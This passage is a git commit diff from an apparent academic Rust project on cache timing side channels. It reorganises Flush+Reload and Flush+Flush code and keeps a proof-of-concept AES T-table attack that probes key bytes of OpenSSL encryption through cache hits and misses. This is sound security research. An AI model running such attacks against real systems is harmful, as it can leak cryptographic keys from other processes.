Major refactor that allows proper core selection
- covert / side channel are currently back in a non functional state - two thread calibration however qorks and gets full experimental results
This commit is contained in:
parent
dca4a79fff
commit
5eab981eec
@ -32,6 +32,12 @@
|
|||||||
<sourceFolder url="file://$MODULE_DIR$/cache_utils/benches" isTestSource="true" />
|
<sourceFolder url="file://$MODULE_DIR$/cache_utils/benches" isTestSource="true" />
|
||||||
<sourceFolder url="file://$MODULE_DIR$/cpuid/src" isTestSource="false" />
|
<sourceFolder url="file://$MODULE_DIR$/cpuid/src" isTestSource="false" />
|
||||||
<sourceFolder url="file://$MODULE_DIR$/aes-t-tables/src" isTestSource="false" />
|
<sourceFolder url="file://$MODULE_DIR$/aes-t-tables/src" isTestSource="false" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/cache_side_channel/src" isTestSource="false" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/flush_reload/src" isTestSource="false" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/flush_flush/src" isTestSource="false" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/covert_channels_evaluation/src" isTestSource="false" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/basic_timing_cache_channel/src" isTestSource="false" />
|
||||||
|
<sourceFolder url="file://$MODULE_DIR$/turn_lock/src" isTestSource="false" />
|
||||||
<excludeFolder url="file://$MODULE_DIR$/cache_info/target" />
|
<excludeFolder url="file://$MODULE_DIR$/cache_info/target" />
|
||||||
<excludeFolder url="file://$MODULE_DIR$/cache_utils/target" />
|
<excludeFolder url="file://$MODULE_DIR$/cache_utils/target" />
|
||||||
<excludeFolder url="file://$MODULE_DIR$/kernel/target" />
|
<excludeFolder url="file://$MODULE_DIR$/kernel/target" />
|
||||||
|
42
Cargo.lock
generated
42
Cargo.lock
generated
@ -4,7 +4,10 @@
|
|||||||
name = "aes-t-tables"
|
name = "aes-t-tables"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
|
"cache_side_channel",
|
||||||
"cache_utils",
|
"cache_utils",
|
||||||
|
"flush_flush",
|
||||||
|
"flush_reload",
|
||||||
"memmap2",
|
"memmap2",
|
||||||
"nix",
|
"nix",
|
||||||
"openssl",
|
"openssl",
|
||||||
@ -39,6 +42,10 @@ version = "1.0.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a"
|
checksum = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "basic_timing_cache_channel"
|
||||||
|
version = "0.1.0"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "bit_field"
|
name = "bit_field"
|
||||||
version = "0.9.0"
|
version = "0.9.0"
|
||||||
@ -66,6 +73,10 @@ dependencies = [
|
|||||||
"bit_field 0.10.1",
|
"bit_field 0.10.1",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cache_side_channel"
|
||||||
|
version = "0.1.0"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "cache_utils"
|
name = "cache_utils"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
@ -94,6 +105,16 @@ version = "0.1.10"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822"
|
checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "covert_channels_evaluation"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"bit_field 0.10.1",
|
||||||
|
"cache_utils",
|
||||||
|
"rand",
|
||||||
|
"turn_lock",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "cpuid"
|
name = "cpuid"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
@ -122,6 +143,23 @@ version = "1.6.1"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "e78d4f1cc4ae33bbfc157ed5d5a5ef3bc29227303d595861deb238fcec4e9457"
|
checksum = "e78d4f1cc4ae33bbfc157ed5d5a5ef3bc29227303d595861deb238fcec4e9457"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "flush_flush"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"cache_side_channel",
|
||||||
|
"cache_utils",
|
||||||
|
"nix",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "flush_reload"
|
||||||
|
version = "0.1.0"
|
||||||
|
dependencies = [
|
||||||
|
"cache_side_channel",
|
||||||
|
"cache_utils",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "foreign-types"
|
name = "foreign-types"
|
||||||
version = "0.3.2"
|
version = "0.3.2"
|
||||||
@ -336,6 +374,10 @@ version = "1.1.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
|
checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "turn_lock"
|
||||||
|
version = "0.1.0"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "vcpkg"
|
name = "vcpkg"
|
||||||
version = "0.2.10"
|
version = "0.2.10"
|
||||||
|
@ -6,6 +6,11 @@ members = [
|
|||||||
"cache_utils",
|
"cache_utils",
|
||||||
"cpuid",
|
"cpuid",
|
||||||
"aes-t-tables",
|
"aes-t-tables",
|
||||||
|
"covert_channels_evaluation",
|
||||||
|
"cache_side_channel",
|
||||||
|
"flush_reload",
|
||||||
|
"flush_flush",
|
||||||
|
"basic_timing_cache_channel",
|
||||||
"turn_lock",
|
"turn_lock",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
@ -13,3 +13,6 @@ cache_utils = { path = "../cache_utils" }
|
|||||||
memmap2 = "0.1.0"
|
memmap2 = "0.1.0"
|
||||||
rand = "0.7.3"
|
rand = "0.7.3"
|
||||||
nix = "0.18.0"
|
nix = "0.18.0"
|
||||||
|
cache_side_channel = { path = "../cache_side_channel" }
|
||||||
|
flush_flush = { path = "../flush_flush" }
|
||||||
|
flush_reload = { path = "../flush_reload" }
|
||||||
|
@ -1,21 +1,21 @@
|
|||||||
#![feature(specialization)]
|
//#![feature(specialization)]
|
||||||
#![feature(unsafe_block_in_unsafe_fn)]
|
#![feature(unsafe_block_in_unsafe_fn)]
|
||||||
#![deny(unsafe_op_in_unsafe_fn)]
|
#![deny(unsafe_op_in_unsafe_fn)]
|
||||||
|
|
||||||
use openssl::aes;
|
use openssl::aes;
|
||||||
|
|
||||||
use crate::CacheStatus::Miss;
|
use crate::CacheStatus::Miss;
|
||||||
|
use cache_side_channel::table_side_channel::TableCacheSideChannel;
|
||||||
|
use cache_side_channel::CacheStatus;
|
||||||
use memmap2::Mmap;
|
use memmap2::Mmap;
|
||||||
use openssl::aes::aes_ige;
|
use openssl::aes::aes_ige;
|
||||||
use openssl::symm::Mode;
|
use openssl::symm::Mode;
|
||||||
use rand::seq::SliceRandom;
|
use rand::seq::SliceRandom;
|
||||||
use rand::thread_rng;
|
use rand::thread_rng;
|
||||||
use std::collections::HashMap;
|
use std::collections::HashMap;
|
||||||
use std::fmt::Debug;
|
|
||||||
use std::fs::File;
|
use std::fs::File;
|
||||||
use std::path::Path;
|
use std::path::Path;
|
||||||
|
|
||||||
pub mod naive_flush_and_reload;
|
|
||||||
// Generic AES T-table attack flow
|
// Generic AES T-table attack flow
|
||||||
|
|
||||||
// Modularisation :
|
// Modularisation :
|
||||||
@ -37,323 +37,11 @@ pub mod naive_flush_and_reload;
|
|||||||
|
|
||||||
// an attacker measurement
|
// an attacker measurement
|
||||||
// a calibration victim
|
// a calibration victim
|
||||||
#[derive(Debug, PartialEq, Eq, Clone, Copy)]
|
|
||||||
pub enum CacheStatus {
|
|
||||||
Hit,
|
|
||||||
Miss,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug, PartialEq, Eq, Clone, Copy)]
|
|
||||||
pub enum ChannelFatalError {
|
|
||||||
Oops,
|
|
||||||
}
|
|
||||||
|
|
||||||
pub enum SideChannelError {
|
|
||||||
NeedRecalibration,
|
|
||||||
FatalError(ChannelFatalError),
|
|
||||||
AddressNotReady(*const u8),
|
|
||||||
AddressNotCalibrated(*const u8),
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
pub enum CacheSideChannel {
|
|
||||||
SingleAddr,
|
|
||||||
MultipleAddr,
|
|
||||||
}
|
|
||||||
*/
|
|
||||||
|
|
||||||
// Access Driven
|
// Access Driven
|
||||||
|
|
||||||
pub trait SimpleCacheSideChannel {
|
|
||||||
// TODO
|
|
||||||
}
|
|
||||||
|
|
||||||
pub struct TableAttackResult {
|
|
||||||
pub addr: *const u8,
|
|
||||||
hit: u32,
|
|
||||||
miss: u32,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl TableAttackResult {
|
|
||||||
fn get(&self, cache_status: CacheStatus) -> u32 {
|
|
||||||
match cache_status {
|
|
||||||
CacheStatus::Hit => self.hit,
|
|
||||||
CacheStatus::Miss => self.miss,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub trait TableCacheSideChannel {
|
|
||||||
//type ChannelFatalError: Debug;
|
|
||||||
/// # Safety
|
|
||||||
///
|
|
||||||
/// addresses must contain only valid pointers to read.
|
|
||||||
unsafe fn calibrate(
|
|
||||||
&mut self,
|
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
|
||||||
) -> Result<(), ChannelFatalError>;
|
|
||||||
/// # Safety
|
|
||||||
///
|
|
||||||
/// addresses must contain only valid pointers to read.
|
|
||||||
unsafe fn attack<'a, 'b, 'c>(
|
|
||||||
&'a mut self,
|
|
||||||
addresses: impl Iterator<Item = &'c *const u8> + Clone,
|
|
||||||
victim: &'b dyn Fn(),
|
|
||||||
num_iteration: u32,
|
|
||||||
) -> Result<Vec<TableAttackResult>, ChannelFatalError>;
|
|
||||||
}
|
|
||||||
|
|
||||||
pub trait SingleAddrCacheSideChannel: Debug {
|
|
||||||
//type SingleChannelFatalError: Debug;
|
|
||||||
/// # Safety
|
|
||||||
///
|
|
||||||
/// addr must be a valid pointer to read.
|
|
||||||
unsafe fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError>;
|
|
||||||
/// # Safety
|
|
||||||
///
|
|
||||||
/// addr must be a valid pointer to read.
|
|
||||||
unsafe fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError>;
|
|
||||||
fn victim_single(&mut self, operation: &dyn Fn());
|
|
||||||
/// # Safety
|
|
||||||
///
|
|
||||||
/// addresses must contain only valid pointers to read.
|
|
||||||
unsafe fn calibrate_single(
|
|
||||||
&mut self,
|
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
|
||||||
) -> Result<(), ChannelFatalError>;
|
|
||||||
}
|
|
||||||
|
|
||||||
pub trait MultipleAddrCacheSideChannel: Debug {
|
|
||||||
const MAX_ADDR: u32;
|
|
||||||
/// # Safety
|
|
||||||
///
|
|
||||||
/// addresses must contain only valid pointers to read.
|
|
||||||
unsafe fn test<'a, 'b, 'c>(
|
|
||||||
&'a mut self,
|
|
||||||
addresses: &'b mut (impl Iterator<Item = &'c *const u8> + Clone),
|
|
||||||
) -> Result<Vec<(*const u8, CacheStatus)>, SideChannelError>;
|
|
||||||
|
|
||||||
/// # Safety
|
|
||||||
///
|
|
||||||
/// addresses must contain only valid pointers to read.
|
|
||||||
unsafe fn prepare<'a, 'b, 'c>(
|
|
||||||
&'a mut self,
|
|
||||||
addresses: &'b mut (impl Iterator<Item = &'c *const u8> + Clone),
|
|
||||||
) -> Result<(), SideChannelError>;
|
|
||||||
fn victim(&mut self, operation: &dyn Fn());
|
|
||||||
|
|
||||||
/// # Safety
|
|
||||||
///
|
|
||||||
/// addresses must contain only valid pointers to read.
|
|
||||||
unsafe fn calibrate(
|
|
||||||
&mut self,
|
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
|
||||||
) -> Result<(), ChannelFatalError>;
|
|
||||||
}
|
|
||||||
|
|
||||||
impl<T: SingleAddrCacheSideChannel> TableCacheSideChannel for T {
|
|
||||||
default unsafe fn calibrate(
|
|
||||||
&mut self,
|
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
|
||||||
) -> Result<(), ChannelFatalError> {
|
|
||||||
unsafe { self.calibrate_single(addresses) }
|
|
||||||
}
|
|
||||||
//type ChannelFatalError = T::SingleChannelFatalError;
|
|
||||||
|
|
||||||
default unsafe fn attack<'a, 'b, 'c>(
|
|
||||||
&'a mut self,
|
|
||||||
addresses: impl Iterator<Item = &'c *const u8> + Clone,
|
|
||||||
victim: &'b dyn Fn(),
|
|
||||||
num_iteration: u32,
|
|
||||||
) -> Result<Vec<TableAttackResult>, ChannelFatalError> {
|
|
||||||
let mut result = Vec::new();
|
|
||||||
|
|
||||||
for addr in addresses {
|
|
||||||
let mut hit = 0;
|
|
||||||
let mut miss = 0;
|
|
||||||
for iteration in 0..100 {
|
|
||||||
match unsafe { self.prepare_single(*addr) } {
|
|
||||||
Ok(_) => {}
|
|
||||||
Err(e) => match e {
|
|
||||||
SideChannelError::NeedRecalibration => unimplemented!(),
|
|
||||||
SideChannelError::FatalError(e) => return Err(e),
|
|
||||||
SideChannelError::AddressNotReady(_addr) => panic!(),
|
|
||||||
SideChannelError::AddressNotCalibrated(_addr) => unimplemented!(),
|
|
||||||
},
|
|
||||||
}
|
|
||||||
self.victim_single(victim);
|
|
||||||
let r = unsafe { self.test_single(*addr) };
|
|
||||||
match r {
|
|
||||||
Ok(status) => {}
|
|
||||||
Err(e) => match e {
|
|
||||||
SideChannelError::NeedRecalibration => panic!(),
|
|
||||||
SideChannelError::FatalError(e) => {
|
|
||||||
return Err(e);
|
|
||||||
}
|
|
||||||
_ => panic!(),
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
for _iteration in 0..num_iteration {
|
|
||||||
match unsafe { self.prepare_single(*addr) } {
|
|
||||||
Ok(_) => {}
|
|
||||||
Err(e) => match e {
|
|
||||||
SideChannelError::NeedRecalibration => unimplemented!(),
|
|
||||||
SideChannelError::FatalError(e) => return Err(e),
|
|
||||||
SideChannelError::AddressNotReady(_addr) => panic!(),
|
|
||||||
SideChannelError::AddressNotCalibrated(_addr) => unimplemented!(),
|
|
||||||
},
|
|
||||||
}
|
|
||||||
self.victim_single(victim);
|
|
||||||
let r = unsafe { self.test_single(*addr) };
|
|
||||||
match r {
|
|
||||||
Ok(status) => match status {
|
|
||||||
CacheStatus::Hit => {
|
|
||||||
hit += 1;
|
|
||||||
}
|
|
||||||
CacheStatus::Miss => {
|
|
||||||
miss += 1;
|
|
||||||
}
|
|
||||||
},
|
|
||||||
Err(e) => match e {
|
|
||||||
SideChannelError::NeedRecalibration => panic!(),
|
|
||||||
SideChannelError::FatalError(e) => {
|
|
||||||
return Err(e);
|
|
||||||
}
|
|
||||||
_ => panic!(),
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
result.push(TableAttackResult {
|
|
||||||
addr: *addr,
|
|
||||||
hit,
|
|
||||||
miss,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
Ok(result)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// TODO
|
// TODO
|
||||||
|
|
||||||
impl<T: MultipleAddrCacheSideChannel> SingleAddrCacheSideChannel for T {
|
|
||||||
unsafe fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError> {
|
|
||||||
let addresses = vec![addr];
|
|
||||||
unsafe { self.test(&mut addresses.iter()) }.map(|v| v[0].1)
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError> {
|
|
||||||
let addresses = vec![addr];
|
|
||||||
unsafe { self.prepare(&mut addresses.iter()) }
|
|
||||||
}
|
|
||||||
|
|
||||||
fn victim_single(&mut self, operation: &dyn Fn()) {
|
|
||||||
self.victim(operation);
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn calibrate_single(
|
|
||||||
&mut self,
|
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
|
||||||
) -> Result<(), ChannelFatalError> {
|
|
||||||
unsafe { self.calibrate(addresses) }
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// TODO limit number of simultaneous tested address + randomise order ?
|
|
||||||
|
|
||||||
impl<T: MultipleAddrCacheSideChannel> TableCacheSideChannel for T {
|
|
||||||
unsafe fn calibrate(
|
|
||||||
&mut self,
|
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
|
||||||
) -> Result<(), ChannelFatalError> {
|
|
||||||
unsafe { self.calibrate(addresses) }
|
|
||||||
}
|
|
||||||
//type ChannelFatalError = T::MultipleChannelFatalError;
|
|
||||||
|
|
||||||
/// # Safety
|
|
||||||
///
|
|
||||||
/// addresses must contain only valid pointers to read.
|
|
||||||
unsafe fn attack<'a, 'b, 'c>(
|
|
||||||
&'a mut self,
|
|
||||||
mut addresses: impl Iterator<Item = &'c *const u8> + Clone,
|
|
||||||
victim: &'b dyn Fn(),
|
|
||||||
num_iteration: u32,
|
|
||||||
) -> Result<Vec<TableAttackResult>, ChannelFatalError> {
|
|
||||||
let mut v = Vec::new();
|
|
||||||
while let Some(addr) = addresses.next() {
|
|
||||||
let mut batch = Vec::new();
|
|
||||||
batch.push(*addr);
|
|
||||||
let mut hits: HashMap<*const u8, u32> = HashMap::new();
|
|
||||||
let mut misses: HashMap<*const u8, u32> = HashMap::new();
|
|
||||||
for i in 1..T::MAX_ADDR {
|
|
||||||
if let Some(addr) = addresses.next() {
|
|
||||||
batch.push(*addr);
|
|
||||||
} else {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
for i in 0..100 {
|
|
||||||
// TODO Warmup
|
|
||||||
}
|
|
||||||
for i in 0..num_iteration {
|
|
||||||
match unsafe { MultipleAddrCacheSideChannel::prepare(self, &mut batch.iter()) } {
|
|
||||||
Ok(_) => {}
|
|
||||||
Err(e) => match e {
|
|
||||||
SideChannelError::NeedRecalibration => unimplemented!(),
|
|
||||||
SideChannelError::FatalError(e) => return Err(e),
|
|
||||||
SideChannelError::AddressNotReady(_addr) => panic!(),
|
|
||||||
SideChannelError::AddressNotCalibrated(addr) => {
|
|
||||||
eprintln!(
|
|
||||||
"Addr: {:p}\n\
|
|
||||||
{:#?}",
|
|
||||||
addr, self
|
|
||||||
);
|
|
||||||
unimplemented!()
|
|
||||||
}
|
|
||||||
},
|
|
||||||
}
|
|
||||||
MultipleAddrCacheSideChannel::victim(self, victim);
|
|
||||||
|
|
||||||
let r = unsafe { MultipleAddrCacheSideChannel::test(self, &mut batch.iter()) }; // Fixme error handling
|
|
||||||
match r {
|
|
||||||
Err(e) => match e {
|
|
||||||
SideChannelError::NeedRecalibration => {
|
|
||||||
panic!();
|
|
||||||
}
|
|
||||||
SideChannelError::FatalError(e) => {
|
|
||||||
return Err(e);
|
|
||||||
}
|
|
||||||
_ => {
|
|
||||||
panic!();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
Ok(vector) => {
|
|
||||||
for (addr, status) in vector {
|
|
||||||
match status {
|
|
||||||
CacheStatus::Hit => {
|
|
||||||
*hits.entry(addr).or_default() += 1;
|
|
||||||
}
|
|
||||||
CacheStatus::Miss => {
|
|
||||||
*misses.entry(addr).or_default() += 1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
for addr in batch {
|
|
||||||
v.push(TableAttackResult {
|
|
||||||
addr,
|
|
||||||
hit: *hits.get(&addr).unwrap_or(&0u32),
|
|
||||||
miss: *misses.get(&addr).unwrap_or(&0u32),
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Ok(v)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub struct AESTTableParams<'a> {
|
pub struct AESTTableParams<'a> {
|
||||||
pub num_encryptions: u32,
|
pub num_encryptions: u32,
|
||||||
pub key: [u8; 32],
|
pub key: [u8; 32],
|
||||||
@ -361,6 +49,8 @@ pub struct AESTTableParams<'a> {
|
|||||||
pub te: [isize; 4],
|
pub te: [isize; 4],
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const KEY_BYTE_TO_ATTACK: usize = 0;
|
||||||
|
|
||||||
/// # Safety
|
/// # Safety
|
||||||
///
|
///
|
||||||
/// te need to refer to the correct t tables offset in the openssl library at path.
|
/// te need to refer to the correct t tables offset in the openssl library at path.
|
||||||
@ -383,9 +73,6 @@ pub unsafe fn attack_t_tables_poc(
|
|||||||
|
|
||||||
let key_struct = aes::AesKey::new_encrypt(¶meters.key).unwrap();
|
let key_struct = aes::AesKey::new_encrypt(¶meters.key).unwrap();
|
||||||
|
|
||||||
//let mut plaintext = [0u8; 16];
|
|
||||||
//let mut result = [0u8; 16];
|
|
||||||
|
|
||||||
let mut timings: HashMap<*const u8, HashMap<u8, u32>> = HashMap::new();
|
let mut timings: HashMap<*const u8, HashMap<u8, u32>> = HashMap::new();
|
||||||
|
|
||||||
let mut addresses: Vec<*const u8> = parameters
|
let mut addresses: Vec<*const u8> = parameters
|
||||||
@ -409,13 +96,12 @@ pub unsafe fn attack_t_tables_poc(
|
|||||||
}
|
}
|
||||||
|
|
||||||
for b in (u8::min_value()..=u8::max_value()).step_by(16) {
|
for b in (u8::min_value()..=u8::max_value()).step_by(16) {
|
||||||
//plaintext[0] = b;
|
|
||||||
eprintln!("Probing with b = {:x}", b);
|
eprintln!("Probing with b = {:x}", b);
|
||||||
// fixme magic numbers
|
// fixme magic numbers
|
||||||
|
|
||||||
let victim = || {
|
let victim = || {
|
||||||
let mut plaintext = [0u8; 16];
|
let mut plaintext = [0u8; 16];
|
||||||
plaintext[0] = b;
|
plaintext[KEY_BYTE_TO_ATTACK] = b;
|
||||||
for byte in plaintext.iter_mut().skip(1) {
|
for byte in plaintext.iter_mut().skip(1) {
|
||||||
*byte = rand::random();
|
*byte = rand::random();
|
||||||
}
|
}
|
||||||
|
@ -1,446 +1,11 @@
|
|||||||
#![feature(unsafe_block_in_unsafe_fn)]
|
#![feature(unsafe_block_in_unsafe_fn)]
|
||||||
#![deny(unsafe_op_in_unsafe_fn)]
|
#![deny(unsafe_op_in_unsafe_fn)]
|
||||||
use aes_t_tables::SideChannelError::{AddressNotCalibrated, AddressNotReady};
|
use aes_t_tables::{attack_t_tables_poc, AESTTableParams};
|
||||||
use aes_t_tables::{
|
use flush_flush::{FlushAndFlush, SingleFlushAndFlush};
|
||||||
attack_t_tables_poc, AESTTableParams, CacheStatus, ChannelFatalError,
|
use flush_reload::naive::*;
|
||||||
MultipleAddrCacheSideChannel, SideChannelError, SingleAddrCacheSideChannel,
|
use nix::sched::sched_setaffinity;
|
||||||
};
|
|
||||||
use cache_utils::calibration::{
|
|
||||||
get_cache_slicing, only_flush, CalibrateOperation2T, CalibrationOptions, HistParams, Verbosity,
|
|
||||||
CFLUSH_BUCKET_NUMBER, CFLUSH_BUCKET_SIZE, CFLUSH_NUM_ITER,
|
|
||||||
};
|
|
||||||
use cache_utils::{find_core_per_socket, flush, maccess, noop};
|
|
||||||
use std::collections::{HashMap, HashSet};
|
|
||||||
use std::path::Path;
|
|
||||||
|
|
||||||
use aes_t_tables::naive_flush_and_reload::*;
|
|
||||||
|
|
||||||
type VPN = usize;
|
|
||||||
type Slice = u8;
|
|
||||||
|
|
||||||
use cache_utils::calibration::calibrate_fixed_freq_2_thread;
|
|
||||||
use cache_utils::complex_addressing::CacheSlicing;
|
|
||||||
use core::fmt;
|
|
||||||
use nix::sched::{sched_getaffinity, sched_setaffinity, CpuSet};
|
|
||||||
use nix::unistd::Pid;
|
use nix::unistd::Pid;
|
||||||
use std::fmt::{Debug, Formatter};
|
use std::path::Path;
|
||||||
use std::i8::MAX; // TODO
|
|
||||||
|
|
||||||
#[derive(Debug)]
|
|
||||||
struct Threshold {
|
|
||||||
pub value: u64,
|
|
||||||
pub miss_faster_than_hit: bool,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl Threshold {
|
|
||||||
pub fn is_hit(&self, time: u64) -> bool {
|
|
||||||
self.miss_faster_than_hit && time >= self.value
|
|
||||||
|| !self.miss_faster_than_hit && time < self.value
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
struct FlushAndFlush {
|
|
||||||
thresholds: HashMap<VPN, HashMap<Slice, Threshold>>,
|
|
||||||
addresses_ready: HashSet<*const u8>,
|
|
||||||
slicing: CacheSlicing,
|
|
||||||
original_affinities: CpuSet,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug)]
|
|
||||||
struct SingleFlushAndFlush(FlushAndFlush);
|
|
||||||
|
|
||||||
impl SingleFlushAndFlush {
|
|
||||||
pub fn new() -> Option<Self> {
|
|
||||||
FlushAndFlush::new().map(|ff| SingleFlushAndFlush(ff))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl SingleAddrCacheSideChannel for SingleFlushAndFlush {
|
|
||||||
unsafe fn test_single(&mut self, addr: *const u8) -> Result<CacheStatus, SideChannelError> {
|
|
||||||
unsafe { self.0.test_single(addr) }
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn prepare_single(&mut self, addr: *const u8) -> Result<(), SideChannelError> {
|
|
||||||
unsafe { self.0.prepare_single(addr) }
|
|
||||||
}
|
|
||||||
|
|
||||||
fn victim_single(&mut self, operation: &dyn Fn()) {
|
|
||||||
self.0.victim_single(operation)
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe fn calibrate_single(
|
|
||||||
&mut self,
|
|
||||||
addresses: impl IntoIterator<Item = *const u8> + Clone,
|
|
||||||
) -> Result<(), ChannelFatalError> {
|
|
||||||
unsafe { self.0.calibrate_single(addresses) }
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Current issue : hash function trips borrow checker.
|
|
||||||
// Also need to finish implementing the calibration logic
|
|
||||||
|
|
||||||
impl FlushAndFlush {
|
|
||||||
pub fn new() -> Option<Self> {
|
|
||||||
if let Some(slicing) = get_cache_slicing(find_core_per_socket()) {
|
|
||||||
if !slicing.can_hash() {
|
|
||||||
return None;
|
|
||||||
}
|
|
||||||
|
|
||||||
let old = sched_getaffinity(Pid::from_raw(0)).unwrap();
|
|
||||||
|
|
||||||
let ret = Self {
|
|
||||||
thresholds: Default::default(),
|
|
||||||
addresses_ready: Default::default(),
|
|
||||||
slicing,
|
|
||||||
original_affinities: old,
|
|
||||||
};
|
|
||||||
Some(ret)
|
|
||||||
} else {
|
|
||||||
None
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
fn get_slice(&self, addr: *const u8) -> Slice {
|
|
||||||
self.slicing.hash(addr as usize).unwrap()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl Drop for FlushAndFlush {
|
|
||||||
fn drop(&mut self) {
|
|
||||||
sched_setaffinity(Pid::from_raw(0), &self.original_affinities).unwrap();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl Debug for FlushAndFlush {
|
|
||||||
fn fmt(&self, f: &mut Formatter<'_>) -> fmt::Result {
|
|
||||||
f.debug_struct("FlushAndFlush")
|
|
||||||
.field("thresholds", &self.thresholds)
|
|
||||||
.field("addresses_ready", &self.addresses_ready)
|
|
||||||
.field("slicing", &self.slicing)
|
|
||||||
.finish()
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
const PAGE_LEN: usize = 1 << 12;
|
|
||||||
|
|
||||||
fn get_vpn<T>(p: *const T) -> usize {
|
|
||||||
(p as usize) & (!(PAGE_LEN - 1)) // FIXME
|
|
||||||
}
|
|
||||||
|
|
||||||
fn cum_sum(vector: &[u32]) -> Vec<u32> {
|
|
||||||
let len = vector.len();
|
|
||||||
let mut res = vec![0; len];
|
|
||||||
res[0] = vector[0];
|
|
||||||
for i in 1..len {
|
|
||||||
res[i] = res[i - 1] + vector[i];
|
|
||||||
}
|
|
||||||
assert_eq!(len, res.len());
|
|
||||||
assert_eq!(len, vector.len());
|
|
||||||
res
|
|
||||||
}
|
|
||||||
|
|
||||||
impl MultipleAddrCacheSideChannel for FlushAndFlush {
|
|
||||||
const MAX_ADDR: u32 = 3;
|
|
||||||
|
|
||||||
unsafe fn test<'a, 'b, 'c>(
|
|
||||||
&'a mut self,
|
|
||||||
addresses: &'b mut (impl Iterator<Item = &'c *const u8> + Clone),
|
|
||||||
) -> Result<Vec<(*const u8, CacheStatus)>, SideChannelError> {
|
|
||||||
let mut result = Vec::new();
|
|
||||||
let mut tmp = Vec::new();
|
|
||||||
let mut i = 0;
|
|
||||||
for addr in addresses {
|
|
||||||
i += 1;
|
|
||||||
